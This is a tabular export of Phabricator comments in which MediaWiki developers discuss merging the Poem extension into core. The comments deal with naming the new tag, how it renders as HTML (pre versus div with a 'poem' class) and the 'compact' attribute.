At least with Parsoid, that is what we will consider outputting for this new tag unless VE folks find a <div> tag simpler than a marked up <pre> tag (seems unlikely)."
237320,Merge Poem extension into MediaWiki core,"What you are saying makes sense. Presumably the CSS for .poem would have to ""neutralise"" the monospace/gray formatting normally applied to pre tags.

My main question is, if we output a <pre> tag from the tag hook, will wikitext inside that tag still get parsed, as it should be?",,,1390609332,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,5.0,11.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,8.0,2.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,6.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,2.0,2.0,3.0,0.0,6.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,5.0,3.7419354838709675,0.8387096774193549,"What you are saying makes sense. Presumably the CSS for .poem would have to ""neutralise"" the monospace/gray formatting normally applied to pre tags.

My main question is, if we output a <pre> tag from the tag hook, will wikitext inside that tag still get parsed, as it should be?"
237313,Merge Poem extension into MediaWiki core,"(In reply to comment #22)

> (In reply to comment #20)
> > IMO the <poem> tag should be rendered as <pre
> > class=""poem""> and it has exactly the behavior of indent-pre (with an extra
> > HTML
> > class and without the necessity to write the leading indentation).
> 
> A few questions about this statement:
> 
> * The gray box/monospaced font of <pre>/indent-pre would have to be removed
> for
>   <poem> blocks.
> * What are the existing differences between <poem> and indent-pre?
> * <pre> does not render identically to indent-pre, so could you explain how
>   rendering poems using <pre class=""poem""> would help?

We weren't very clear about what we were discussing there. 

What Scott meant is that the patch should generate <pre class=""poem""> .. </pre> for the HTML of the <verbatim>..</verbatim> (or <pre-text> or whatever tag name is picked) instead of generating <div class=""poem"">..</div>. It is cleaner and the ouput is semantically closer to the intention of the <verbatim> tag.",,,1390608896,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.5,1.0,0.5,4.0,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,1.5,3.0,6.0,0.0,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,4.0,10.5,0.5,2.5,5.5,0.0,0.0,0.0,0.5,2.5,0.0,0.5,0.0,2.0,6.0,10.5,0.0,1.0,0.0,2.0,0.0,2.0,0.0,0.0,1.5,1.5,0.0,11.5,3.496994535519126,0.5871584699453551,"(In reply to comment #22)

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We weren't very clear about what we were discussing there. 

What Scott meant is that the patch should generate <pre class=""poem""> .. </pre> for the HTML of the <verbatim>..</verbatim> (or <pre-text> or whatever tag name is picked) instead of generating <div class=""poem"">..</div>. It is cleaner and the ouput is semantically closer to the intention of the <verbatim> tag."
237307,Merge Poem extension into MediaWiki core,"(In reply to comment #16)
> <verbatim> is a misleading name since it still parses wikitext in its
> content.
> It is only verbatim for text-content. 

I do see what you mean here. The problem is, we have so far been unable to come up with a better name! <poem> is inappropriate as too specific/narrow.

> Is there another way of achieving this
> without adding a new tag?

The <poem> tag is already in wide use. I don't see the problem with adding a tag for this functionality.

(In reply to comment #20)
> IMO the <poem> tag should be rendered as <pre
> class=""poem""> and it has exactly the behavior of indent-pre (with an extra
> HTML
> class and without the necessity to write the leading indentation).

A few questions about this statement:

* The gray box/monospaced font of <pre>/indent-pre would have to be removed for
  <poem> blocks.
* What are the existing differences between <poem> and indent-pre?
* <pre> does not render identically to indent-pre, so could you explain how
  rendering poems using <pre class=""poem""> would help?",,,1390608255,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,0.5,0.0,0.0,0.5,1.0,4.0,2.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,1.5,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,1.0,0.5,4.5,1.5,0.0,3.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,14.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,4.0,3.0,9.5,0.5,0.5,5.0,0.0,0.0,0.5,1.0,5.5,0.0,1.0,0.0,3.0,9.0,4.5,1.0,0.5,0.0,3.0,0.0,1.5,1.5,0.0,2.0,0.5,0.0,5.5,3.352996254681648,0.64812734082397,"(In reply to comment #16)
QUOTE
QUOTE
QUOTE

I do see what you mean here. The problem is, we have so far been unable to come up with a better name! <poem> is inappropriate as too specific/narrow.

QUOTE
QUOTE

The <poem> tag is already in wide use. I don't see the problem with adding a tag for this functionality.

(In reply to comment #20)
QUOTE
QUOTE
QUOTE
QUOTE

A few questions about this statement:

* The gray box/monospaced font of <pre>/indent-pre would have to be removed for
  <poem> blocks.
* What are the existing differences between <poem> and indent-pre?
* <pre> does not render identically to indent-pre, so could you explain how
  rendering poems using <pre class=""poem""> would help?"
237300,Merge Poem extension into MediaWiki core,"I agree reg. output being <pre class='poem'> .. </pre>

However, maybe make it possible for the editor to provide a css-class rather than hardcode class=""poem"" into the tag?

For standard <poem> content,
<pre-text>
... 
</pre-text>

And for other uses,
<pre-text class=""fancy-css"">
...
</pre-text>",,,1390589947,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,5.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,7.0,6.0,1.0,3.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,13.0,3.058139534883721,0.5581395348837209,"I agree reg. output being <pre class='poem'> .. </pre>

However, maybe make it possible for the editor to provide a css-class rather than hardcode class=""poem"" into the tag?

For standard <poem> content,
<pre-text>
... 
</pre-text>

And for other uses,
<pre-text class=""fancy-css"">
...
</pre-text>"
237296,Merge Poem extension into MediaWiki core,"I further updated [[testwiki:bug 52061]] to show the difference between <poem> and <pre class=""poem"">.  IMO the <poem> tag should be rendered as <pre class=""poem""> and it has exactly the behavior of indent-pre (with an extra HTML class and without the necessity to write the leading indentation).",,,1390588717,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,12.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,4.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,12.0,7.0,0.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,12.0,3.63768115942029,0.6956521739130435,"I further updated [[testwiki:bug 52061]] to show the difference between <poem> and <pre class=""poem"">.  IMO the <poem> tag should be rendered as <pre class=""poem""> and it has exactly the behavior of indent-pre (with an extra HTML class and without the necessity to write the leading indentation)."
237293,Merge Poem extension into MediaWiki core,"(In reply to comment #17)
> I don't know what you mean by indent-pre.

Subbu clarified that this means the preceding space trick. I updated [[testwiki:bug 52061]].",,,1390587244,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,3.40625,0.90625,"(In reply to comment #17)
QUOTE

Subbu clarified that this means the preceding space trick. I updated [[testwiki:bug 52061]]."
237291,Merge Poem extension into MediaWiki core,"Please, don't use <verbatim>!!. It's already been in use by a Wikia extension [1]

----

[1] http://community.wikia.com/wiki/Help:Verbatim_tags",,,1390587154,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,3.0,6.0,0.0,3.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,2.6451612903225805,0.8064516129032258,"Please, don't use <verbatim>!!. It's already been in use by a Wikia extension [1]

----

[1] URL"
237289,Merge Poem extension into MediaWiki core,"(In reply to comment #16)
> From what I can tell, looking at output, this is ""indent-pre"" - ""indent"" +
> CSS-class. Given that indent-pre provides all the formatting functionality, I
> presume the missing ability of adding CSS-classes onto indent-pre is the
> primary reason for this new tag? Is there another way of achieving this
> without adding a new tag?

I don't know what you mean by indent-pre.

I created a test page at [[testwiki:bug 52061]] to demonstrate the poem tag's functionality.",,,1390586895,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,9.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,6.0,0.0,4.0,0.0,6.0,9.0,7.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,6.0,3.111111111111111,0.7407407407407407,"(In reply to comment #16)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I don't know what you mean by indent-pre.

I created a test page at [[testwiki:bug 52061]] to demonstrate the poem tag's functionality."
237286,Merge Poem extension into MediaWiki core,"<verbatim> is a misleading name since it still parses wikitext in its content. It is only verbatim for text-content. 

From what I can tell, looking at output, this is ""indent-pre"" - ""indent"" + CSS-class. Given that indent-pre provides all the formatting functionality, I presume the missing ability of adding CSS-classes onto indent-pre is the primary reason for this new tag? Is there another way of achieving this without adding a new tag?",,,1390586336,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,29,,1.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,2.0,2.0,2.0,10.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,8.0,1.0,1.0,11.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,10.0,1.0,2.0,4.0,0.0,5.0,0.0,1.0,2.0,0.0,7.0,0.0,0.0,1.0,3.7474747474747474,0.6363636363636364,"<verbatim> is a misleading name since it still parses wikitext in its content. It is only verbatim for text-content. 

From what I can tell, looking at output, this is ""indent-pre"" - ""indent"" + CSS-class. Given that indent-pre provides all the formatting functionality, I presume the missing ability of adding CSS-classes onto indent-pre is the primary reason for this new tag? Is there another way of achieving this without adding a new tag?"
237282,Merge Poem extension into MediaWiki core,"(In reply to comment #10)
> Regarding the tag name, is <poem> ever actually used for things besides
> poems?

I looked at some examples in de.wikipedia. Apart from poems and poem-like texts (prayers etc.) there are things like inscriptions and dialogs, which use <poem>. And of course, as it is a wiki, some stupid things like quotes even without any line break in them.",,,1389605473,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,28,,4.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,15.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,8.0,0.0,4.0,7.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,4.0,15.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,4.0,3.535211267605634,0.7746478873239436,"(In reply to comment #10)
QUOTE
QUOTE

I looked at some examples in de.wikipedia. Apart from poems and poem-like texts (prayers etc.) there are things like inscriptions and dialogs, which use <poem>. And of course, as it is a wiki, some stupid things like quotes even without any line break in them."
237279,Merge Poem extension into MediaWiki core,"Sure, let's go with verbatim.

Siebrand also noted on Gerrit change 106861 that if/when this gets merged, we'll need to migrate the Poem extension bugs to core.",,,1389459951,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,27,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,17.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,8.0,0.0,6.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,6.0,17.0,11.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.9166666666666666,"Sure, let's go with verbatim.

Siebrand also noted on Gerrit change 106861 that if/when this gets merged, we'll need to migrate the Poem extension bugs to core."
237275,Merge Poem extension into MediaWiki core,I'd also prefer <verbatim> as the name.,,,1389446044,,PHID-USER-3qsavo6roa5h32xcsgng,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,27,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,1.0,I'd also prefer <verbatim> as the name.
237266,Merge Poem extension into MediaWiki core,I'm wondering if people would prefer <verbatim> as the name of this tag?,,,1389432065,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,27,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,18.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,3.5294117647058822,1.0,I'm wondering if people would prefer <verbatim> as the name of this tag?
237257,Merge Poem extension into MediaWiki core,"Change 106861 had a related patch set uploaded by TTO:
Merge Poem extension into core

https://gerrit.wikimedia.org/r/106861",,,1389413873,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,27,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.421052631578948,1.0,"Change 106861 had a related patch set uploaded by TTO:
Merge Poem extension into core

GERRIT_URL"
237248,Merge Poem extension into MediaWiki core,"The compact feature has always seemed quite buggy (or at least bizarrely unintuitive) and I wonder if we would really hurt much by killing it altogether.

Regarding the tag name, is <poem> ever actually used for things besides poems? I usually use <pre> for other cases.",,,1389061208,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,27,,2.0,0.0,2.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,7.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,11.0,2.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,7.0,3.9649122807017543,0.9122807017543859,"The compact feature has always seemed quite buggy (or at least bizarrely unintuitive) and I wonder if we would really hurt much by killing it altogether.

Regarding the tag name, is <poem> ever actually used for things besides poems? I usually use <pre> for other cases."
237240,Merge Poem extension into MediaWiki core,"(In reply to comment #8)
> I am thinking something like <verbatim>, <asis> (""as is""), <nocollapse>,
> <pretext>/<pre-text> (as in <pre> but for text, not code), <keepbreaks>
> [...]

Okay, I'll paint this bikeshed. I like verbatim or pretext. How about one of those?

> 2. The attribute ""compact"" seems to actually make the display less compact.
> See the testcase at [[mw:Extension:Poem]]. I think we need a new name/alias for
> this too. However, I have no idea what it is actually meant to be used for...

I'm not sure ""compact"" is needed... do people use it? If so, are there examples of it in the wild?",,,1389057399,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,27,,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,1.0,4.0,0.0,4.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,19.0,3.0,1.0,4.0,0.0,0.0,0.0,1.0,6.0,1.0,3.0,0.0,7.0,10.0,4.0,4.0,3.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.073529411764706,0.7058823529411765,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE

Okay, I'll paint this bikeshed. I like verbatim or pretext. How about one of those?

QUOTE
QUOTE
QUOTE

I'm not sure ""compact"" is needed... do people use it? If so, are there examples of it in the wild?"
237233,Merge Poem extension into MediaWiki core,"OK, I'm taking a look at this. The merge looks easy enough, but I need advice.

Poem has two major nomenclature issues:

1. The tag should have another name besides <poem>. In comment 6 <nobreak> was suggested, but Poem does the reverse - it preserves line breaks. I am thinking something like <verbatim>, <asis> (""as is""), <nocollapse>, <pretext>/<pre-text> (as in <pre> but for text, not code), <keepbreaks> ......... ?? Any better ideas?

2. The attribute ""compact"" seems to actually make the display less compact. See the testcase at [[mw:Extension:Poem]]. I think we need a new name/alias for this too. However, I have no idea what it is actually meant to be used for...",,,1388220804,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,25,,0.5,0.5,0.0,1.5,0.5,3.5,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,3.0,0.0,4.0,7.0,0.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,1.0,1.0,0.0,0.5,0.0,0.5,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.5,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.5,0.5,0.0,0.0,4.5,2.5,9.0,0.5,1.5,7.0,0.0,0.0,0.0,0.0,3.0,0.5,1.0,0.0,5.0,7.0,3.0,1.5,2.0,0.0,5.0,0.0,0.5,1.0,0.0,1.0,1.0,0.0,10.5,3.233477011494253,0.73151776384535,"OK, I'm taking a look at this. The merge looks easy enough, but I need advice.

Poem has two major nomenclature issues:

1. The tag should have another name besides <poem>. In comment 6 <nobreak> was suggested, but Poem does the reverse - it preserves line breaks. I am thinking something like <verbatim>, <asis> (""as is""), <nocollapse>, <pretext>/<pre-text> (as in <pre> but for text, not code), <keepbreaks> ......... ?? Any better ideas?

2. The attribute ""compact"" seems to actually make the display less compact. See the testcase at [[mw:Extension:Poem]]. I think we need a new name/alias for this too. However, I have no idea what it is actually meant to be used for..."
237228,Merge Poem extension into MediaWiki core,"(In reply to comment #6)
> (In reply to comment #5)
> > If you merge it to core, please call it something other than <poem>. Other
> > than that I couldn't care less :D
> 
> I think we must keep the name ""<poem>"" for backward-compatibility, but it
> should definitely have a saner alias (""<nobreak>"" or something).

The main name of the feature should be something else, <poem> can be an alias for backwards-compatibility.",,,1374862476,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,3,,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,18.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,2.0,9.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.3636363636363638,0.75,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The main name of the feature should be something else, <poem> can be an alias for backwards-compatibility."
237222,Merge Poem extension into MediaWiki core,"(In reply to comment #5)
> If you merge it to core, please call it something other than <poem>. Other
> than that I couldn't care less :D

I think we must keep the name ""<poem>"" for backward-compatibility, but it should definitely have a saner alias (""<nobreak>"" or something).",,,1374855121,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,3,,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,6.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,6.0,6.0,0.0,0.0,8.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,3.1666666666666665,0.8125,"(In reply to comment #5)
QUOTE
QUOTE

I think we must keep the name ""<poem>"" for backward-compatibility, but it should definitely have a saner alias (""<nobreak>"" or something)."
237218,Merge Poem extension into MediaWiki core,"If you merge it to core, please call it something other than <poem>. Other than that I couldn't care less :D",,,1374849740,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,3,,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,19.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,15.0,19.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,3.3846153846153846,0.9230769230769231,"If you merge it to core, please call it something other than <poem>. Other than that I couldn't care less :D"
